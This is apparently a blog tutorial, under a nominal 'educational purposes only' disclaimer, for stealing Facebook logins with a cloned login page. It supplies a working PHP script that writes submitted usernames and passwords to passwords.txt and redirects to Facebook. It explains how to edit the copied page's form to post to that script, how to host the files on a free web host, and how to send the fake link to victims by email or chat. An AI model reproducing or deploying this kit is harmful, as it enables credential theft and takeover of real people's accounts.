(Use for educational purposes only)

( Phishing is an attempt to acquire sensitive information such as user name , password and credit card ( and , sometimes , indirectly , money ) masquerading as a trustworthy entity in an electronic communication )

What is phishing and how? Phishing is the process of directing users to enter details at a fake website that look and feel like the original website .

 Basically all you're doing is getting your goal to access your fake login page and you will be sent your email and your Facebook password .

 If you want to know more about phishing attacks then you should read this article from our sister site What Is Phishing Scams Or Attacks And How to Prevent It.


STEP 1 : Create the Phishing.php file :
 copy the following script and save it as 
phishing.php .

:<?php
header("Location: https://www.facebook.com/login.php");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 

Step 2 : Create index.html page

1. Open the Facebook login page then, Right click>View page source and paste it in notepad and save it a

index.html

2. Open that index.html file with a Notepad and search (By pressing Ctrl+F) for : action in it and replace the highlighted part (as in the following screenshot) with phishing.php




3. search (By pressing Ctrl+F) for : method in it and replace the highlighted part (post) with get .


4. save index.html
STEP 3 : Now create a text file named passwords.txt completely blank .
Now you have all the following three files with you :
1. phishing.php
2. index.html
3. passwords.txt
STEP 4 : Now You Need To Make a Website.
I advise you Byethost because it is completely free hosting with free domain . Jump to: byethost.com and fill in the necessary information and click on the record button.




2. Now Goto your email account that you gave and confirm your account with confirmation link.
(Note the cpanel username that you got when verified with your activation link)

3. Now Go to http://panel.byethost.com  and Log into your account Cpanel . Enter your cpanel username and password and login

4. Now when you are logged into your account then Go to File Manager under Files and log into it.


5. Now Click on the Public_html.


6 .Click on the Upload button and upload 3 files named phishing.php, index.html and passwords.txt 
(before uploading files you need to delete all the files inside  the Public_html folder)

7. After successfully uploaded 3 files click on index.html file, then your fake phishing page will open up.

You are now ready to phishing.

sent your fake login page's URL to someone via email or chatting  , when someone type their facebook email and password in your fake login page it will store to your passwords.tex file.

Next
This is the most recent post.
Previous
Older Post

Post a Comment

 
Top